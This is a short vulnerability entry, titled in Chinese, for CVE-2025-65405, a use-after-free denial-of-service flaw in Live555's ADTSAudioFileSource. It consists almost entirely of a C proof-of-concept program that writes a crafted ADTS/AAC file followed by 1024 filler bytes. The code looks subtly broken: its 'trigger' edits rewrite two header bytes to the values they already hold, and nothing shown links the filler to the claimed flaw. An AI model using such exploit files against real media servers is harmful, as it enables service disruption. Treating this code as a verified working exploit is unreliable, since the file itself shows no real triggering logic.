CVE-2025-65405: Live555 ADTSAudioFileSource use-after-free拒绝服务漏洞

/* * CVE-2025-65405 PoC - Use-After-Free in Live555 ADTSAudioFileSource::samplingFrequency() * This PoC demonstrates the vulnerability by creating a malformed ADTS/AAC file * WARNING: For educational and research purposes only */ #include <stdio.h> #include <stdlib.h> #include <string.h> // ADTS header structure typedef struct { unsigned int syncword; // 12 bits: 0xFFF unsigned int ID; // 1 bit: 0 for MPEG-4, 1 for MPEG-2 unsigned int layer; // 2 bits: always 00 unsigned int protection_absent; // 1 bit: 1 if no CRC unsigned int profile; // 2 bits: AAC profile unsigned int sampling_frequency_index; // 4 bits unsigned int private_bit; // 1 bit unsigned int channel_configuration; // 3 bits unsigned int original_copy; // 1 bit unsigned int home; // 1 bit } ADTS_Header; void create_malicious_adts_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // ADTS sync word (0xFFF) unsigned char adts_header[7] = {0xFF, 0xF1, 0x50, 0x80, 0x02, 0x1F, 0xFC}; // Modify header to trigger vulnerability in samplingFrequency() // Set sampling_frequency_index to trigger error path adts_header[2] = 0x50; // Sampling rate manipulation adts_header[3] = 0x80; // Additional trigger conditions // Write malicious header fwrite(adts_header, 1, 7, fp); // Write payload that triggers use-after-free condition unsigned char payload[1024]; memset(payload, 0x41, sizeof(payload)); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("Malicious ADTS file created: %s\n", filename); } int main() { create_malicious_adts_file("poc.adts"); return 0; }